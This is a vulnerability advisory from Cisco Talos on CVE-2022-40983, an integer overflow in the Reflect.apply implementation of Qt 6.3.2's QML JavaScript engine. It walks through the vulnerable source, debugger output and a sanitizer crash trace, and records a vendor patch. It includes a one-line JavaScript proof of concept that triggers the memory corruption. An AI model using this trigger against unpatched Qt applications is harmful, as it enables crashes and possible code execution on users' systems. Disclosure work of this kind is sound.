Talos Vulnerability Report

TALOS-2022-1617

Qt Project Qt QML QtScript Reflect API integer overflow vulnerability

January 12, 2023
CVE Number

CVE-2022-40983

SUMMARY

An integer overflow vulnerability exists in the QML QtScript Reflect API of Qt Project Qt 6.3.2. A specially-crafted javascript code can trigger an integer overflow during memory allocation, which can lead to arbitrary code execution. Target application would need to access a malicious web page to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Qt Project Qt 6.3.2.

PRODUCT URLS

Qt - https://www.qt.io/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

DETAILS

Qt is a popular software suite primarily used to create graphical user interfaces. It also contains a number of supporting libraries which all aim to enable cross-platform application development with a unified programming API.

Qt’s suite of libraries contains support for executing Javascript code through its QtScript engine, which is extensively used in QML. QtScript is historicaly based on WebKit’s JavaScriptCore, but the current codebase bears little resemblance to modern JavaScriptCore engine.

QtScript implementation supports a set of Reflect Javascript APIs and methods such as Reflect.apply(), which contains an integer overflow vulnerability. The vulnerability can be demonstrated with the following PoC Javascript code:

const v1 = []; const v3 = []; v3.length = 3900000000; Reflect.apply(v1.reverse,v1,v3);

In the above code, two arrays are constructed. The second array has its length property set to a large number. Method Refclect.apply takes three arguments. First is the function to be “applied”, second is the object to which the function is to be applied and third is supposed to be an array of potential arguments to the function. In this example, method reverse of an Array object is being applied, with a task to simply reverse the array. The vulnerability is triggered even though method reverse doesn’t expect or use the array v3. The root cause of the vulnerability can be seen in the following source code:

static CallArgs createListFromArrayLike(Scope &scope, const Object *o)
{
    int len = o->getLength();                                                                                       [3]
    Value *arguments = scope.alloc(len);                                                                            [4]

    for (int i = 0; i < len; ++i) {
        arguments[i] = o->get(i);                                                                                      [5]
        if (scope.hasException())
            return { nullptr, 0 };
    }
    return { arguments, len };
}

    ReturnedValue Reflect::method_apply(const FunctionObject *f, const Value *, const Value *argv, int argc)             [0]
{
    Scope scope(f);
    if (argc < 3 || !argv[0].isFunctionObject() || !argv[2].isObject())
        return scope.engine->throwTypeError();

    const Object *o = static_cast<const Object *>(argv + 2);
    CallArgs arguments = createListFromArrayLike(scope, o);                                                              [1]
    if (scope.hasException())
        return Encode::undefined();

    return checkedResult(scope.engine, static_cast<const FunctionObject &>(argv[0]).call(                               [2]
                &argv[1], arguments.argv, arguments.argc));
}

In the above code quote we can observe the implementation of Reflect.apply method starting at [0]. After some sanity checking, the code at [1] takes the 3rd argument to apply() and tries to turn it into a list from an array-like object via createListFromArrayLike. Finally, at [2], a call to the target function (reverse in our PoC) is made. The core of the issue lies in the createListFromArrayLike function. In it, at [3], the length of the array (3900000000 in our PoC) is retrieved and used in an allocation at [4]. Note that len is a signed integer. Further, len is again used at [5] as a guard in a for loop that tries to copy the elements. The actual integer overflow happens during a call at [4], which indirectly leads to the following code:

QML_NEARLY_ALWAYS_INLINE Value *jsAlloca(int nValues) {
    Value *ptr = jsStackTop;
    jsStackTop = ptr + nValues;
    return ptr;
}

In the above code, to allocate the memory for the list, a number of values is simply added to a pointer. Since pointers are 8 bytes in size, the compiler will implicitly multiply the length by 8 to satisfy pointer arithmetic rules. With a large value for v3.length this can lead to an integer overflow and wraparound during allocation. This integer overflow then leads to further memory corruption. The exact point of integer overflow can be observed in the debugger (do note that most of the above-quoted functions are actually inlined):

Breakpoint 16, 0x000000000096bfbb in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) x/10i $pc
=> 0x96bfbb <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+203>:    mov    rdi,QWORD PTR [r13+0x8]                      [6]
   0x96bfbf <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+207>:    movsxd rax,ebp
   0x96bfc2 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+210>:    lea    rcx,[rdi+rax*8]
   0x96bfc6 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+214>:    mov    QWORD PTR [r13+0x8],rcx
   0x96bfca <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+218>:    test   eax,eax
   0x96bfcc <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+220>:    mov    QWORD PTR [rsp],rdi
   0x96bfd0 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+224>:
    jle    0x96c072 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+386>
   0x96bfd6 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+230>:    mov    QWORD PTR [rsp+0x8],rbp
   0x96bfdb <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+235>:    mov    ebp,ebp
   0x96bfdd <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+237>:    lea    rdx,[rbp*8+0x0]
(gdb) i r ebp
ebp            0xe8754700          -394967296                                                                                                                              [7]
(gdb) stepi
0x000000000096bfbf in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) stepi
0x000000000096bfc2 in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) x/i $pc
=> 0x96bfc2 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+210>:    lea    rcx,[rdi+rax*8]                            [8]
(gdb) i r rax
rax            0xffffffffe8754700  -394967296
(gdb) i r rdi
rdi            0x7ffff4e845a0      140737302250912
(gdb) stepi
0x000000000096bfc6 in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) i r rcx
rcx            0x7fff38927da0      140734142512544
    (gdb) x/x $rcx                                                                                                           [9]
0x7fff38927da0: Cannot access memory at address 0x7fff38927da0
(gdb)

A breakpoint was set at [6] just before the pointer arithemtic. Observe that value of length is in 4 byte ebp register at [7]. The instruction at [8] actually calculates the new pointer by multiplying rax (sign extended length value from ebp) by the size of a pointer and adding it to rdi before storing it into rcx. The command at [9] shows that rcx now points to invalid memory. Any further operation using this pointer of length will result in additional memory corruption. Continuing execution finally leads to a following crash:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000da87d9 in QV4::ArrayPrototype::method_reverse(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) c
Continuing.
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==370803==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7fff38927da0 (pc 0x000000da87d9 bp 0x7ffff48d1d20 sp 0x7fffffffd2c0 T370803)
==370803==The signal is caused by a WRITE memory access.
[Detaching after fork from child process 370824]
    #0 0xda87d9 in QV4::ArrayPrototype::method_reverse(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0xda87d9)
    #1 0x96c0de in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x96c0de)
    #2 0x985e7e in QV4::Runtime::CallProperty::call(QV4::ExecutionEngine*, QV4::Value const&, int, QV4::Value*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x985e7e)
    #3 0x9d7bc5 in QV4::Moth::VME::interpret(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*, char const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d7bc5)
    #4 0x9d5bbc in QV4::Moth::VME::exec(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d5bbc)
    #5 0x8e4a77 in QV4::Function::call(QV4::Value const*, QV4::Value const*, int, QV4::ExecutionContext*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8e4a77)
    #6 0x98f487 in QV4::Script::run(QV4::Value const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x98f487)
    #7 0x8779ae in QJSEngine::evaluate(QString const&, QString const&, int, QList<QString>*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8779ae)
    #8 0x428dd6 in main /home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/main.cpp:106:32
    #9 0x7ffff5a9e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #10 0x4123cd in _start (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x4123cd)

The above crash is inside method_reverse which is the implementation of Array.reverse. However, the same vulnerability can be triggered through any target function supplied to Reflect.apply. Since the Javascript execution environment presents many ways of precisely manipulating memory layout, this vulnerability could be abused to cause further memory corruption, which can ultimately result in arbitrary code execution.

TIMELINE

2022-09-27 - Initial Vendor Contact
2022-10-11 - Vendor Disclosure
2022-10-26 - Vendor Patch Release
2023-01-12 - Public Release

Credit

Emma Reuter and Theo Morales of Cisco ASIG.